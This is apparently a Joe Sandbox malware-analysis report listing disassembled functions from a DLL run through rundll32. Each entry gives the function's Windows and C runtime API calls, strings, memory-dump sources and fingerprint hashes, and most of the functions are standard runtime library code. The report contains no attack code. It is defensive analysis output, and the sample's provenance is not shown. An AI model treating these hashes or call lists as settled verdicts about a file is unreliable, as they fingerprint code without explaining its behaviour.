Function 6F9F69E0 Relevance: 13.9, APIs: 9, Instructions: 354COMMON

Download Yara Rule

APIs

mydllmain.DLL1(00000000,?), ref: 6F9F6A97

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 42af1bba095e08f3a14e334087738255b175f57d1233d889ccf1f4d9190aca35
Instruction ID: afd562df5538cbba07914ef7081aaad4251653abe29e440ad01e48ce1ccfee6b
Opcode Fuzzy Hash: 42af1bba095e08f3a14e334087738255b175f57d1233d889ccf1f4d9190aca35
Instruction Fuzzy Hash: 9DE14C31E0522A8BCB75CF288D947DDB7B5AF9A300F1581E9C999A7340D671AEC1CF90

Function 6F9E4E2A Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6F9E4F49
___TypeMatch.LIBVCRUNTIME ref: 6F9E5057
_UnwindNestedFrames.LIBCMT ref: 6F9E51A9
CallUnexpected.LIBVCRUNTIME ref: 6F9E51C4

Strings

csm, xrefs: 6F9E4E67
csm, xrefs: 6F9E4F80
csm, xrefs: 6F9E4ED4

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 4fabeb4c11d48cb0691c48f521481161fa39932734a92640b097eb783114b5c2
Instruction ID: dcb7577ef46a413af80cc7edb809be7dd44db4107f8aecf8dffd11f69d67dc73
Opcode Fuzzy Hash: 4fabeb4c11d48cb0691c48f521481161fa39932734a92640b097eb783114b5c2
Instruction Fuzzy Hash: 18B18879800309EFCF16DFA8D88099EBBB9BF14314F10456AE815AB2D6D731EA51CF91

Function 6F9E4890 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6F9E48C7
___except_validate_context_record.LIBVCRUNTIME ref: 6F9E48CF
_ValidateLocalCookies.LIBCMT ref: 6F9E4958
__IsNonwritableInCurrentImage.LIBCMT ref: 6F9E4983
mydllmain.DLL1(?,00000001), ref: 6F9E499C
_ValidateLocalCookies.LIBCMT ref: 6F9E49D8

Strings

csm, xrefs: 6F9E496D

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_recordmydllmain
String ID: csm
API String ID: 2845398917-1018135373
Opcode ID: 1e01a54927e55d3f9290ce93a6d010125ad1af031cc4b6a2123dd151d90c4721
Instruction ID: 21fb42a514ff7f82a3bed27f9cef5fe730e8158c28642f6dcdd3b1be25258db8
Opcode Fuzzy Hash: 1e01a54927e55d3f9290ce93a6d010125ad1af031cc4b6a2123dd151d90c4721
Instruction Fuzzy Hash: F141A438A00209AFCF01CF6CD880A9EBBB5BF45728F108155D924AB3D2D735EA16CF91

Function 6F9EEA0D Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6F9EEA93

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: aea14ec4fce50e11b916ea9db58d0fd03005b2f780920c9197a192cf75d5e781
Instruction ID: bdf005cc19e2d7ec3f58392d5ed710c38c52e297eee3e145a5f394f74fd62591
Opcode Fuzzy Hash: aea14ec4fce50e11b916ea9db58d0fd03005b2f780920c9197a192cf75d5e781
Instruction Fuzzy Hash: C6B15872A403559FEB13DF68CC81BAE7BA9EF5A314F164156E804AF2C2D374E801C7A0

Function 6F9EFA83 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6F9EFB92,6F9E60D4,B586E81C,00000000,6F9EAAAA,00000000,?,6F9EFD0B,00000022,FlsSetValue,6F9FD4F0,ccs,6F9EAAAA), ref: 6F9EFB44

Strings

ext-ms-, xrefs: 6F9EFAEE
api-ms-, xrefs: 6F9EFADA

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d33869abf37a2e39349a80122c16a8d929b4ff648a9d224b67a12360d05aa2a0
Instruction ID: 8133653013bf0186c70dd80af1c3884fa01e03f410e98773ab18913ab33be5a3
Opcode Fuzzy Hash: d33869abf37a2e39349a80122c16a8d929b4ff648a9d224b67a12360d05aa2a0
Instruction Fuzzy Hash: 4F21D572A06611E7DB239E65FC50A4A377CEF8277CB194116ED19AB2C4E730F901C6D0

Function 6F9EC7A6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F9A742C7,6F9EAAAA,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC7DB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F9EC7ED
mydllmain.DLL1(B586E81C,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC7FE
FreeLibrary.KERNEL32(00000000,?,00000000,6F9FAA10,000000FF,?,6F9EC740,B586E81C,?,6F9EC714,?), ref: 6F9EC80F

Strings

CorExitProcess, xrefs: 6F9EC7E5
mscoree.dll, xrefs: 6F9EC7D4

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProcmydllmain
String ID: CorExitProcess$mscoree.dll
API String ID: 361333426-1276376045
Opcode ID: eab947acee68a7a8a253edc9dd6ad3e8e088a2edcaaa0ab7ef83d3f8f5d4227b
Instruction ID: ed39819689001fbccc8f9033173810a13d08aa10c6040bf05aacbddeec0a1a8f
Opcode Fuzzy Hash: eab947acee68a7a8a253edc9dd6ad3e8e088a2edcaaa0ab7ef83d3f8f5d4227b
Instruction Fuzzy Hash: 61018F31905A1AEBEB128F50CC09BAEBBB8FB44764F004526E822A26C0DB34D901CE90

Function 6F9EE197 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b108430ace2ae2e195cb0785f84125f37a562e01eb83432d2d944133b503c69e
Instruction ID: 7647802357515487b534f0337983a4b01f546191ea04af5b775c0ba7a625cba5
Opcode Fuzzy Hash: b108430ace2ae2e195cb0785f84125f37a562e01eb83432d2d944133b503c69e
Instruction Fuzzy Hash: 84B10570A0434AAFDB03EFA8D880BAD7BB5BF5A314F024159E5149B3C2D771E956CB60

Function 6F9E4AF3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9E4A71,6F9E3517,6F9E2EE4,?,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8,0000000C,6F9E3215), ref: 6F9E4B01
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F9E4B0F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F9E4B28
SetLastError.KERNEL32(00000000,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8,0000000C,6F9E3215,?,00000001,?), ref: 6F9E4B7A

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cc22e5fb2661b7a96bb395338c357357c37926b6c562c8c4442c5527a6c381b8
Instruction ID: 4e7cf688260096915d7ed344b17a23e7a0b72cfbf78f7a60fa6dcf1adb68d6ca
Opcode Fuzzy Hash: cc22e5fb2661b7a96bb395338c357357c37926b6c562c8c4442c5527a6c381b8
Instruction Fuzzy Hash: D401F13A20EB122EE6160DBC6C85B5F37A9FF02778324032EE520852D5EF51D8268954

Function 6F9F2178 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6F9F2194

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 28051e527f8b3cbb9e0592dbd45ff72b5e09849b74fff946af79bc4e041ed96f
Instruction ID: 2068e1e1066332e983ce4f34bd2a8899538b73368c6988d1c8951a265d3822cf
Opcode Fuzzy Hash: 28051e527f8b3cbb9e0592dbd45ff72b5e09849b74fff946af79bc4e041ed96f
Instruction Fuzzy Hash: 5C219031606285AFDB259F75CC80A9A77BDFF153787104528E928DB2C1E731EC1287A0

Function 6F9F7074 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F9F70F9
__alloca_probe_16.LIBCMT ref: 6F9F71C2
__freea.LIBCMT ref: 6F9F7229

Part of subcall function 6F9EE7FE: HeapAlloc.KERNEL32(00000000,6F9F26F1,?,?,6F9F26F1,00000220,?,?,?), ref: 6F9EE830

__freea.LIBCMT ref: 6F9F723C
__freea.LIBCMT ref: 6F9F7249

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: e2e89a9ea8593e6b0cfd399966976ac5d5411cee2b145226237d4c9289e38e0a
Instruction ID: 3a035033afc96f1722e83c0be7949e2cad1da0b987f837512ae3d8f52a39572c
Opcode Fuzzy Hash: e2e89a9ea8593e6b0cfd399966976ac5d5411cee2b145226237d4c9289e38e0a
Instruction Fuzzy Hash: 5751E7726023066FEB118FA4DC81EEB3AAEEF55714F15012AFD14D61D1EB30EC5287A2

Function 6F9E4BD3 Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(6FA020D0,00000010,6F9E4D45,?,?,?,?,6FA020F0,00000008,6F9E4DC9,?,?,?,00000000), ref: 6F9E4C32
___AdjustPointer.LIBCMT ref: 6F9E4C9A
___AdjustPointer.LIBCMT ref: 6F9E4CBD
___AdjustPointer.LIBCMT ref: 6F9E4D59

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AdjustPointer$mydllmain
String ID:
API String ID: 3586548312-0
Opcode ID: a97aed2e2f24b6bc476e67e0494d091584efe8357c4061f7de10aaaa154fc8f0
Instruction ID: c14818a5ec750cd00fa8f87ca4a09ccd776b0f63d96feb830be4f3c58c92b239
Opcode Fuzzy Hash: a97aed2e2f24b6bc476e67e0494d091584efe8357c4061f7de10aaaa154fc8f0
Instruction Fuzzy Hash: 1951DD7A644706AFEB2A8F68D840BEA77B9FF44314F10452AD8158B2D1D731F880CF90

Function 6F9E60DA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E6177
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E627E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6F9E6291

Strings

5q, xrefs: 6F9E60E8

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 5q
API String ID: 885266447-1627527040
Opcode ID: 4fd9d191c58d79bcdf1769613de63e25729df438f3d71490d2be7c779e85855a
Instruction ID: d2e6a76b97a456878d7e59d4998a50ddac5099b96952788c9c33bea20682c7c5
Opcode Fuzzy Hash: 4fd9d191c58d79bcdf1769613de63e25729df438f3d71490d2be7c779e85855a
Instruction Fuzzy Hash: D1519471A10209AFCF16CF98C940EDEBBB6EF8A314F148159E954AB395D330EE12CB50

Function 6F9E5C02 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6F9E5BB3,00000000,?,00000001,?,?,?,6F9E5CA2,00000001,FlsFree,6F9FBCD8,FlsFree), ref: 6F9E5C0F
GetLastError.KERNEL32(?,6F9E5BB3,00000000,?,00000001,?,?,?,6F9E5CA2,00000001,FlsFree,6F9FBCD8,FlsFree,00000000,?,6F9E4BC8), ref: 6F9E5C19
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6F9E5C41

Strings

api-ms-, xrefs: 6F9E5C26

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f3a7936ef8d702ea13330c677b76a87a2ea3cd541a6e0d0fa7ace175b40a3a47
Instruction ID: bb9b3e72322580271ff16fafcc9dce7d61706d896de649dfeb7fe008e0c223cc
Opcode Fuzzy Hash: f3a7936ef8d702ea13330c677b76a87a2ea3cd541a6e0d0fa7ace175b40a3a47
Instruction Fuzzy Hash: EDE04F7128820AB7FF211E64ED06F493B79AF41B55F144020FA0CE80D4EB62E9208A89

Function 6F9F0966 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F9A742C7,00000000,00000000,?), ref: 6F9F09C9

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F9F0C1B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F9F0C61
GetLastError.KERNEL32 ref: 6F9F0D04

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ee8da23ffb8ad237d983f91d22594d1bbf0df130d2701cfd982eb9402a0e08f6
Instruction ID: be717b506e847ebdd8a4899fab936612b21bd204c3155401ad22080883c17d45
Opcode Fuzzy Hash: ee8da23ffb8ad237d983f91d22594d1bbf0df130d2701cfd982eb9402a0e08f6
Instruction Fuzzy Hash: 71D18AB5D056499FCF01CFA8D8809EDBBB8FF09314F14916AE466AB3A1D730E916CB50

Function 6F9F9163 Relevance: 6.1, APIs: 4, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,6F9F8ACF), ref: 6F9F917C
mydllmain.DLL1(00000001,?,?), ref: 6F9F92F0
mydllmain.DLL1(00000002,?,?), ref: 6F9F9336

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain$DecodePointer
String ID:
API String ID: 253863441-0
Opcode ID: 4ab6d6fe434442ba140f74252297e0d41396fc9a7f8cbc31e2f3a2cf008151f3
Instruction ID: 4a631ff00f79ae1f6daa3b14ac59bb601d52ad68c09f487b39f19c2a0100ef4c
Opcode Fuzzy Hash: 4ab6d6fe434442ba140f74252297e0d41396fc9a7f8cbc31e2f3a2cf008151f3
Instruction Fuzzy Hash: 9751597090660ADBEF109FA9ED483EDBF78BF8A314F018245D590AA2DCCB74D562CB54

Function 6F9F1A14 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

GetLastError.KERNEL32 ref: 6F9F1A78
__dosmaperr.LIBCMT ref: 6F9F1A7F
GetLastError.KERNEL32(?,?,?,?), ref: 6F9F1AB9
__dosmaperr.LIBCMT ref: 6F9F1AC0

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 79a78cb0727e590f74047a1533c07c307691a6679fa9898d480f14385450da65
Instruction ID: 7f9164fb7cac6044c892e292e2789cdcb407ab16005dc69322be420e244c422d
Opcode Fuzzy Hash: 79a78cb0727e590f74047a1533c07c307691a6679fa9898d480f14385450da65
Instruction Fuzzy Hash: 0121D4B1606705AFD7509F76C88095BB7BDFF16368710851AE828972C0E731EC928BD0

Function 6F9F2D68 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F9F2D70

Part of subcall function 6F9F2CC5: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F721F,?,00000000,-00000008), ref: 6F9F2D26

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F2DA8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F2DC8

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: baf4159828b1a641f5f734c50fe31129232d30826f66e0cdaf5c25621d9981a6
Instruction ID: 1613eefbff378ab773b0501895d883bd5d73bf501c341c8cdfcdd4f4740115ae
Opcode Fuzzy Hash: baf4159828b1a641f5f734c50fe31129232d30826f66e0cdaf5c25621d9981a6
Instruction Fuzzy Hash: E21126B15076967FAB129BB59D8CEAF6A6CDF9A2E83100014F901D11C1FB30DE1287B1

Function 6F9F82CD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6F9EB4BB,00000000,00000000,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000), ref: 6F9F82E4
GetLastError.KERNEL32(?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?,?,?,6F9F1332,00000000), ref: 6F9F82F0

Part of subcall function 6F9F82B6: CloseHandle.KERNEL32(FFFFFFFE,6F9F8300,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?,?), ref: 6F9F82C6

___initconout.LIBCMT ref: 6F9F8300

Part of subcall function 6F9F8278: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F9F82A7,6F9F694E,?,?,6F9F0D58,?,00000000,00000000,?), ref: 6F9F828B

WriteConsoleW.KERNEL32(00000000,00000000,6F9EB4BB,00000000,?,6F9F6961,00000000,00000001,?,?,?,6F9F0D58,?,00000000,00000000,?), ref: 6F9F8315

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

